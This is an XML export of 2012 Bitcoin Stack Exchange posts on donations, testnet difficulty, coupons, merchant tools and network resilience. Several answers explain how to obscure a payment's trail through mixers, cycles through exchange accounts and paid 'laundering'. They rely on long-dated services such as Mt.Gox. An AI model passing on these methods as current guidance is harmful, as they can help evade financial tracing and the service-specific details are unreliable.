AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3065" PostTypeId="2" ParentId="2161" CreationDate="2012-03-04T08:29:24.147" Score="1" Body="&lt;p&gt;As others have pointed out, the easiest way (if you do not care about staying anonymous, which you probably don't wont in the case of donations anyway), is to just display a Bitcoin receiving address with a nice icon next to it (and maybe link it to a page with instructions, QR codes and stuff).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for icons, there is a collection at &lt;a href=&quot;https://en.bitcoin.it/wiki/Promotional_graphics&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Promotional_graphics&lt;/a&gt;, be sure to also follow the links at the bottom.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;There is also the possibility that Favicons could be used as a shorthand in browse address&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="238" LastEditorUserId="-1" LastEditDate="2012-03-26T18:53:58.753" LastActivityDate="2012-03-26T18:53:58.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3066" PostTypeId="1" AcceptedAnswerId="3067" CreationDate="2012-03-04T21:42:08.037" Score="16" ViewCount="40542" Body="&lt;p&gt;I read many related questions about the pseudo-anonymity and bitcoin transaction tracking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I understand correctly, bitcoins, or better, transactions can be tracked for their entire lifetime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example user case:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I buy bitcoins from Mt.Gox&lt;/li&gt;&#xA;&lt;li&gt;I send some bitcoins here and there&lt;/li&gt;&#xA;&lt;li&gt;Now I decide to send 50 BTC to a person (Bob) who did a job for me, in the hope that nobody finds out about my deal.&lt;/li&gt;&#xA;&lt;li&gt;Bob changes the 50 BTC recently received in dollars through Mt.Gox &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, if I'm right, it is possible to track back the transaction to me, since all transactions are public. And so everyone knows that part of the money changed by Mt.Gox was used to pay Bob and that he changed them back to dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is true as long as my address and Bob's address is also known.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to break the transaction history of the bitcoins from Mt.Gox?&#xA;I mean, for example, would it be possible for Bob to transfer the 50 BTC to Mt.Gox from an unknown address that was never used, so it can't be associated to my address? Or is it possible to send bitcoins only from the reveicer address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Situation when using the same address to receive and send bitcoins:&#xA;&lt;br /&gt;&#xA;[Mt.Gox] ==&gt; [Me] == [Bob] ==&gt; [Mt.Gox]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Situation with new generated addresses:&#xA;&lt;br /&gt;&#xA;1. [Mt.Gox] ==&gt; [Me]&lt;br /&gt;&#xA;2. [Me] == [Bob]&lt;br /&gt;&#xA;3. [Bob] ==&gt; [Mt.Gox]&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, how to hide where bitcoins came from?&#xA;I read there is a way to generate new addresses and send through them. Is that true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="1131" LastEditorUserId="1842" LastEditDate="2012-10-25T21:50:24.340" LastActivityDate="2020-09-03T06:24:04.240" Title="How can I hide my bitcoin transactions to protect anonymity?" Tags="|privacy|" AnswerCount="9" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3067" PostTypeId="2" ParentId="3066" CreationDate="2012-03-04T22:47:37.697" Score="12" Body="&lt;p&gt;It is possible to trace Bitcoins all the way back to the blocks they were mined, although it might be a hard task. Similarly, one can also trace them back to any withdrawal from MtGox, as long as we know which transaction to look for. No matter how many times you send them from one address to another, it is still possible to trace them back to that transaction, especially if you send the full amount each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make it way harder for someone to trace the transaction, you'd need some service that would take your Bitcoins, send them to some address that is used in many transactions and send them back to some other address you own. There have been many services like this started, but I don't know of any that had the traffic volume necessary to obscure anything. This option assumes that the service would not keep track of the finished transactions, thus not being able to reveal information about you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try &quot;laundering&quot; your Bitcoins by paying someone to send you Bitcoins from another address. Similarly, you could pay someone to mine a fresh block of Bitcoins for you. Similar as above, it only works if the person would not keep information about you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, you could just order some &lt;a href=&quot;https://www.casascius.com/&quot;&gt;physical Bitcoins&lt;/a&gt;. Trading them is completely offline, so nobody can trace who you gave the coins to. I'm not sure though if Casascius keeps any order data, which could be later linked to the person that redeemed the coins at some point in the future.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-04T22:47:37.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3068" PostTypeId="2" ParentId="3066" CreationDate="2012-03-05T02:48:18.713" Score="8" Body="&lt;p&gt;All you need to do is send your bitcoins to MtGox and withdraw them to a new address.  MtGox processes so many bitcoin deposits and withdrawals that you've very unlikely to get the same coins back, and so nobody (other than MtGox and anyone with access to their database) would be able to tie your deposit together with your withdrawal.  Alternatively, make 2 MtGox accounts, deposit into one, use a 'redeemable code' to transfer the coins to the other account, and withdraw from there.  Then even MtGox can't be sure the coins didn't change hands.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-05T02:48:18.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3069" PostTypeId="1" AcceptedAnswerId="3070" CreationDate="2012-03-05T04:41:12.363" Score="9" ViewCount="1445" Body="&lt;p&gt;I'm doing some testing and often find myself needing to generate 6 blocks quickly to confirm some tx.  Each block takes a few minutes to generate on my macbook so this slows things down considerably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to adjust difficulty?  Note that this is not for testnet in general but for the private testnet in a box with just 2 nodes on my development machine.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2012-03-05T07:30:05.007" Title="Reduce difficulty on testnet-in-a-box?" Tags="|difficulty|testing|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3070" PostTypeId="2" ParentId="3069" CreationDate="2012-03-05T07:30:05.007" Score="9" Body="&lt;p&gt;Changing these 2 lines gets what you want.  Note that it's quick and dirty and will break non-testnet, so don't use this for anything but testnet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;diff --git a/src/main.cpp b/src/main.cpp&#xA;index a9311e2..b3496a1 100644&#xA;--- a/src/main.cpp&#xA;+++ b/src/main.cpp&#xA;@@ -780,7 +780,7 @@ int64 static GetBlockValue(int nHeight, int64 nFees)&#xA; }&#xA;&#xA; static const int64 nTargetTimespan = 14 * 24 * 60 * 60; // two weeks&#xA;-static const int64 nTargetSpacing = 10 * 60;&#xA;+static const int64 nTargetSpacing = 10;&#xA; static const int64 nInterval = nTargetTimespan / nTargetSpacing;&#xA;&#xA; //&#xA;@@ -1784,7 +1784,7 @@ bool LoadBlockIndex(bool fAllowNew)&#xA;     if (fTestNet)&#xA;     {&#xA;         hashGenesisBlock = uint256(&quot;0x00000007199508e34a9ff81e6ec0c477a4cccff2a4767a8eee39c11db367b008&quot;);&#xA;-        bnProofOfWorkLimit = CBigNum(~uint256(0) &amp;gt;&amp;gt; 28);&#xA;+        bnProofOfWorkLimit = CBigNum(~uint256(0) &amp;gt;&amp;gt; 15);&#xA;         pchMessageStart[0] = 0xfa;&#xA;         pchMessageStart[1] = 0xbf;&#xA;         pchMessageStart[2] = 0xb5;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's some debug.log output with those changes.  I'm generating a block every 2 seconds or so.  If that's too fast, increase the &quot;&gt;&gt; 15&quot; accordingly.  Each increment there doubles the time between blocks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;03/05/12 07:21:54 Flushing wallet.dat&#xA;Flushed wallet.dat 132ms&#xA;askfor block 000000935f454d1641e5   0&#xA;sending getdata: block 000000935f454d1641e5&#xA;received block 000000935f454d1641e5&#xA;SetBestChain: new best=000000935f454d1641e5  height=23  work=559980566&#xA;ProcessBlock: ACCEPTED&#xA;askfor block 00000c4d375ce8f92166   0&#xA;sending getdata: block 00000c4d375ce8f92166&#xA;received block 00000c4d375ce8f92166&#xA;SetBestChain: new best=00000c4d375ce8f92166  height=24  work=561029143&#xA;ProcessBlock: ACCEPTED&#xA;askfor block 000007e863a6d86bfb1d   0&#xA;sending getdata: block 000007e863a6d86bfb1d&#xA;received block 000007e863a6d86bfb1d&#xA;SetBestChain: new best=000007e863a6d86bfb1d  height=25  work=562077720&#xA;ProcessBlock: ACCEPTED&#xA;03/05/12 07:21:59 Flushing wallet.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-05T07:30:05.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3071" PostTypeId="2" ParentId="3066" CreationDate="2012-03-05T07:37:25.313" Score="2" Body="&lt;p&gt;Don't send money from your own wallet to Bob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Send it directly from MtGox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way, it is not associated with your wallet (just with MtGox, whose wallet is shared by half of the Bitcoin world).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All these online wallet services are essentially anonymizing mixers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On might argue that then MtGox knows that you sent money to Bob, but a) they don't care, b) if they care, they could track it in the chain anyway, as you point out above, c) they don't know that the address you sent to belongs to Bob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you must make clear to Bob, however, is that under no circumstances is he supposed to send anything back to the address where his coins came from (because then MtGox has no idea what to do with them). But this is a general principle of Bitcoin that a sending address cannot just be used as a receiving address as well. If there are any refunds or the like, you need to give Bob another address for that (preferably a completely new one).&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2012-03-05T07:37:25.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3072" PostTypeId="2" ParentId="2405" CreationDate="2012-03-05T07:51:58.583" Score="2" Body="&lt;p&gt;I modified the open source Intersango exchange code so that it can issue and accept Bitcoin coupons.  You can &lt;a href=&quot;https://github.com/dooglus/intersango/blob/aud/voucher.php&quot; rel=&quot;nofollow&quot;&gt;view the code&lt;/a&gt; to see how I did it.  My code doesn't store the whole coupon code in the database, so even if a hacker gains read access to the database, they can't redeem the unclaimed coupons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your particular questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Is there a sample code for sending coins using bitcoind / PHP ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes.  &lt;a href=&quot;https://github.com/dooglus/intersango/blob/4f509499f24481d4a2c8fad795fb7b42ab2c450b/util.php#L592&quot; rel=&quot;nofollow&quot;&gt;Here's some code&lt;/a&gt; that does it in a very simple way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Is there a 3d party API providing such functionality (instead of using bitcoind)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know.  Maybe &lt;a href=&quot;http://lovebitcoins.org/getStarted.html&quot; rel=&quot;nofollow&quot;&gt;one of these&lt;/a&gt; has what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Do MtGox and Tradehill have APIs for transfers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tradehill's no longer operating.  &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/HTTP/v0#0.2Fwithdraw.php&quot; rel=&quot;nofollow&quot;&gt;MtGox does&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Is captcha a must?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No.  They're annoying.  Have the code which checks the coupons take a long time to return a result, and only allow the users to check one at a time.  Then they can't brute force the coupons in reasonable time.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-03-05T07:51:58.583" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3073" PostTypeId="2" ParentId="403" CreationDate="2012-03-05T09:08:04.093" Score="3" Body="&lt;p&gt;I created an osCommerce module that can enable you to setup a full webstore that accepts Bitcoin. It enables osCommerce to talk to your own Bitcoin daemon with orders being updated once payment is received. Then the funds can be sent on to an address off your webserver to reduce risk of storing too many bitcoins on the server. Also keeps your BTC prices updated from prices set in USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module is here: &lt;a href=&quot;https://github.com/weex/oscommerce-bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/weex/oscommerce-bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2012-03-05T09:08:04.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3075" PostTypeId="2" ParentId="2901" CreationDate="2012-03-05T15:06:07.333" Score="3" Body="&lt;p&gt;The 0.6 release includes fixes for a couple of denial-of-service vulnerabilities, including this one (see &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/142e604184e3ab6dcbe02cebcbe08e5623182b81&quot; rel=&quot;nofollow&quot;&gt;commit 142e6041&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disconnecting peers that send &quot;too many&quot; orphans might be implemented in a future release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future, if you find a DoS or security vulnerability in a Bitcoin implementation it is best to email the developer or developers so they know about the problem as soon as possible.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-03-05T15:06:07.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3077" PostTypeId="2" ParentId="2249" CreationDate="2012-03-05T22:10:56.260" Score="-1" Body="&lt;p&gt;This isn't possible with just the message.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-03-05T22:10:56.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3078" PostTypeId="2" ParentId="3018" CreationDate="2012-03-05T22:15:09.110" Score="2" Body="&lt;p&gt;The &quot;data&quot; is not a number (only numbers have endian issues), but the raw byte data of a valid block. You may wish to read over &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0022&quot; rel=&quot;nofollow&quot;&gt;BIP 22&lt;/a&gt;, which is the Draft-status standard detailing the getmemorypool protocol.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-03-05T22:15:09.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3079" PostTypeId="2" ParentId="253" CreationDate="2012-03-05T22:20:09.150" Score="-1" Body="&lt;p&gt;P2Pool has a unique design due to its proprietary p2p protocol. However, it is inevitably just another pool. Its decentralized block creation feature was originally released by &lt;a href=&quot;http://bitpenny.com/&quot; rel=&quot;nofollow&quot;&gt;BitPenny&lt;/a&gt; using a Bitcoin-like protocol, and is now also supported by pools running on &lt;a href=&quot;http://eligius.st&quot; rel=&quot;nofollow&quot;&gt;Eligius&lt;/a&gt;'s &lt;a href=&quot;http://gitorious.org/bitcoin/eloipool&quot; rel=&quot;nofollow&quot;&gt;Eloipool&lt;/a&gt; poolserver. Just as with all pools, however, P2Pool does have a centralized point-of-control calling the shots. On the other hand, just like with any pool,  someone can always fork it and make their own pool.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-03-05T22:20:09.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3080" PostTypeId="1" AcceptedAnswerId="3086" CreationDate="2012-03-06T05:30:02.900" Score="4" ViewCount="7044" Body="&lt;p&gt;I am not sure I understand Bitcoin very well. What I understand is that Bitcoin is there because of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens if the network is down for any reason?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens if the miner that keeps my records of Bitcoin dies or doesn't want to open his computer again?&lt;/p&gt;&#xA;" OwnerUserId="1138" LastEditorUserId="659" LastEditDate="2012-03-06T17:13:32.680" LastActivityDate="2012-03-06T17:13:32.680" Title="What happen if the Bitcoin network is down, or all miners stop keeping records?" Tags="|network|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3081" PostTypeId="1" CreationDate="2012-03-06T06:11:17.790" Score="5" ViewCount="739" Body="&lt;p&gt;There are a couple of bitcoin betting sites, but they all seem to require making a deposit with them. Is it possible to somehow use the Bitcoin contract system to establish a distributed betting pool? Once the bet is decided one way or the other, the transactions would become active. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem of course is who decides which side won. That could be the betting site operator. This way, you still have to trust them enough to make a fair judgement call, but at least they cannot just take everyone's deposits and run. The worst they can do is declare the wrong side of the pool the winner. Or maybe stay inactive, thereby locking funds (though this could be fixed by a decision deadline in the original contract).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or this could be distributed as well. Maybe a majority of pool members gets to decide by some kind of voting process (requires fair losers). Or the block chain miners get to decide by including one of the two possible transactions into the block, just like they decide on double-spending right now?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any of this seem feasible (and meaningful)?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="37414" LastEditDate="2018-05-09T16:14:29.253" LastActivityDate="2018-05-09T16:14:29.253" Title="Using Bitcoin contracts to run a betting site without the need for deposits?" Tags="|trust|contracts|escrow|gambling|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3082" PostTypeId="2" ParentId="3080" CreationDate="2012-03-06T06:12:07.337" Score="6" Body="&lt;p&gt;Nothing happens. The longest chain of blocks in existence, so long as it builds off the latest checkpoint) is always the valid chain, no matter what. So long as at least one node brings it back eventually, there's no problem. (And you can keep it yourself if you're particularly worried about it. If you're running the standard client, you already are.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike a bank account, your Bitcoin balance doesn't have to exist in any particular place to be valid. The miners create the mathematical relationships that prove it's valid such that anyone at any time can tell that it's valid just by looking at the mined data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you connected to any Bitcoin node right now and presented a longer chain of blocks (so long as it included the last checkpoint) than they already had, they would switch over to your chain of blocks and it would become the official chain. It wouldn't matter that prior to introducing it, you had the only copy. It's mathematically valid, so the network would accept it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2012-03-06T10:54:06.890" LastActivityDate="2012-03-06T10:54:06.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3083" PostTypeId="1" AcceptedAnswerId="3084" CreationDate="2012-03-06T06:17:09.030" Score="7" ViewCount="6454" Body="&lt;p&gt;Is there a service (like Blockexplorer) that shows pending transactions that have not (yet?) been included in the block chain?&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2021-03-27T15:23:52.443" Title="Checking pending (not yet in the blockchain) transactions" Tags="|transactions|blockchain|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3084" PostTypeId="2" ParentId="3083" CreationDate="2012-03-06T06:59:27.683" Score="3" Body="&lt;p&gt;Even transactions with no confirmations will show in the results (unless the transaction has been sitting unconfirmed for some time and then the service stops tracking it):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BlockChain.info&quot; rel=&quot;nofollow&quot;&gt;http://www.BlockChain.info&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-09-11T03:07:58.630" LastActivityDate="2013-09-11T03:07:58.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3085" PostTypeId="2" ParentId="3080" CreationDate="2012-03-06T07:07:44.257" Score="3" Body="&lt;p&gt;Miners add new blocks, but every node keeps a copy of each complete block.  There are this many nodes (i.e., tens of thousands):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.weusecoins.com/globe/&quot; rel=&quot;nofollow&quot;&gt;http://www.weusecoins.com/globe/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once a block is announced to the network, that miner no longer needs to do anything -- that block has already been signed and gets propagated by peers over the network.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-03-06T07:07:44.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3086" PostTypeId="2" ParentId="3080" CreationDate="2012-03-06T09:33:59.053" Score="5" Body="&lt;p&gt;Bitcoin network works on a Peer-to-peer mode, so &quot;taking the network down&quot;, would require taking at least a good portion of the Internet. Should something like this happen, Bitcoins might not be the biggest of your worries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Bitcoin miner stores little to no information about the network itself. It works in a simple terms of fetching data, calculating some hashes and returning results. It does not need much more than that, so miners going offline for awhile wouldn't hurt the network much, asides slowing down block generation for awhile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Bitcoin client on the other hand stores all the data from the Bitcoin network. Should it go offline, it still stores all the data on the hard drive and will try to reconnect when it can. Should a good chunk of the network go offline, the blockchain might fork, as each part of the network would try to work only with the data it possesses. Some parts of the network might see only a part of the transactions, while others would see other transactions. When such &quot;islands&quot; would meet, all the clients will try to establish which blockchain is the longest. The shorter blockchain will have all its transactions extracted from it and if there is no double-spend, those transactions might be included in future blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, it is very hard for the Bitcoin network to go down, and the main Bitcoin client is prepared for possible network segmentation.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-06T09:33:59.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3087" PostTypeId="2" ParentId="3081" CreationDate="2012-03-06T10:14:13.790" Score="5" Body="&lt;p&gt;Giving the operator the power to control the identity of the recipient won't work, since he can participate himself and declare himself the winner. A majority vote also isn't too good because an attacker can make multiple entries, which is cheap to do if he knows he can guarantee a win.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is necessary that the winner will be decided according to public data (such as the hash of a future block), and that the operator (or majority) will not be able to secure funds before sending payment to the agreed winner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can think of is burn-escrow. Each participant sends a tentative payment to the operator which cannot be reversed, it can either be carried through or burned (with a deposit that incentivizes carrying through). Then the operator sends to the winner using his own funds. Then every participant forwards the payment. If the operator does not send to the winner, participants burn the payment and refuse to do business with the operator again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some risk that the operator will be honest but participants will neglect to forward payments, or that the operator will be fraudulent but participants forward payments anyway to get the deposit. But with a properly calibrated deposit, these risks can be mitigated and entered into the pricing.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-12-10T08:40:55.777" LastActivityDate="2012-12-10T08:40:55.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3088" PostTypeId="2" ParentId="3066" CreationDate="2012-03-06T15:10:14.030" Score="5" Body="&lt;p&gt;Every person owns several addresses, and for most addresses keeps the association with himself private. In your scenario coins move from address A of Mtgox, to your address B, to Bob's address C, back to Mtgox address D. The only people who know that address B belongs to you and address C belongs to Bob - and hence deduce that you paid Bob - are you, Bob and Mtgox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any large eWallet can double as a mixing service, and there are also dedicated mixing services. You can bounce your funds through several such services, and then all of them will have to release your info in order to associate you with an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid some weaknesses of using a centralized mixing service, it is also possible to perform peer-to-peer oblivious mixing transactions, as discussed &lt;a href=&quot;https://bitcointalk.org/index.php?topic=54266.0&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-03-06T15:10:14.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3089" PostTypeId="2" ParentId="3054" CreationDate="2012-03-06T17:28:13.873" Score="1" Body="&lt;p&gt;In order to have a functioning exchange, you will need buyers of your Profit points and for that kind of interest there will need to be dividends(best paid in BTC). GLBSE could be useful to you but you could also handle such trading by creating an exchange to establish value for the company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your idea is fantastic and could revolutionize certain kinds of businesses. Given that you have a model of being able to pay members in points, it might make sense to set this as a high-priority project since it addresses the incentive folks have to get involved.&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2012-03-06T17:28:13.873" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3090" PostTypeId="2" ParentId="3054" CreationDate="2012-03-06T19:12:23.867" Score="1" Body="&lt;p&gt;Your initial concern should not be with the technological aspect of a Bitcoin exchange, but with a legal one. You shouldn't aim to start a service that would in the end be deemed illegal in the countries you operate, or have servers in. There was a polish exchange that closed down as its owner didn't want to deal with potential gray areas of local law in regards to running such an exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you should keep in mind the business aspect of things - how will you get money in and out of your exchange and who you will be working with. There have been a couple exchanges like TradeHill that closed because of problems with money flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only having such aspects covered should you deal with the software part of starting an exchange.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-03-06T19:12:23.867" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3092" PostTypeId="1" AcceptedAnswerId="3095" CreationDate="2012-03-07T07:41:46.527" Score="8" ViewCount="896" Body="&lt;p&gt;Here in the Arabic world the biggest problem with online trading is the absence of a good, secure, and flexible money transfer tool or solution. I think Bitcoin is a great solution for this. I have an idea to start a payment processing service using Bitcoin in the Arab world. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to know what would happen if the Bitcoin project was discontinued for any reason.&#xA;What would happen to people's money?&lt;/p&gt;&#xA;" OwnerUserId="1138" LastEditorUserId="659" LastEditDate="2012-03-07T19:47:14.600" LastActivityDate="2016-06-22T06:38:49.960" Title="What would happen to people's money if the Bitcoin project was discontinued?" Tags="|project|" AnswerCount="7" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3093" PostTypeId="1" AcceptedAnswerId="3096" CreationDate="2012-03-07T07:57:34.463" Score="6" ViewCount="4357" Body="&lt;p&gt;What merchant solutions are available to integrate Bitcoin in an online store? Is there a wiki page that describes the different merchant solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note - This question was originally asked specifically for a PHP store, but since most solutions are platform-agnostic this part was edited away.&lt;/p&gt;&#xA;" OwnerUserId="1138" LastEditorUserId="78" LastEditDate="2013-01-11T10:01:13.070" LastActivityDate="2013-01-26T08:32:17.037" Title="How can I process Bitcoin transactions in my store?" Tags="|websites|merchants|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3094" PostTypeId="2" ParentId="3093" CreationDate="2012-03-07T08:18:09.467" Score="2" Body="&lt;p&gt;You can use the osCommerce shopping cart and there is a payment module here ( &lt;a href=&quot;https://github.com/weex/oscommerce-bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/weex/oscommerce-bitcoin&lt;/a&gt; ) that works but could use some testing. There is also a bounty of 4.75 BTC if you do in-fact create the first public store using it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interacting via php natively is not very easy but typically what's done is to use jsonrpc to talk to a locally running bitcoind (Bitcoin daemon). The module mentioned above provides an example of jsonrpc usage.&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2012-03-07T08:18:09.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3095" PostTypeId="2" ParentId="3092" CreationDate="2012-03-07T08:23:58.180" Score="12" Body="&lt;p&gt;Bitcoin exists on a few levels. One is the protocol which evolves through a proposal process. Second is the Bitcoin client and bitcoind project which is an implementation of the protocol. Third is the currency managed by what's referred to as the Satoshi-blockchain. All of the above are available under free software licenses or are, at the very least, public information (in the case of the blockchain and protocol). It is therefore unlikely for any part of Bitcoin to be meaningfully discontinued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should everyone in the world stop using Bitcoin, the transactions and private keys to spend again would still exist so you could say the money will stay right where it is. The exchange rate wouldn't fare well but the Bitcoins would all just be there in deep freeze until someone started mining again. Once you know more, you'll see how unlikely any kind of discontinuation would be. &lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="659" LastEditDate="2012-03-07T10:39:45.987" LastActivityDate="2012-03-07T10:39:45.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
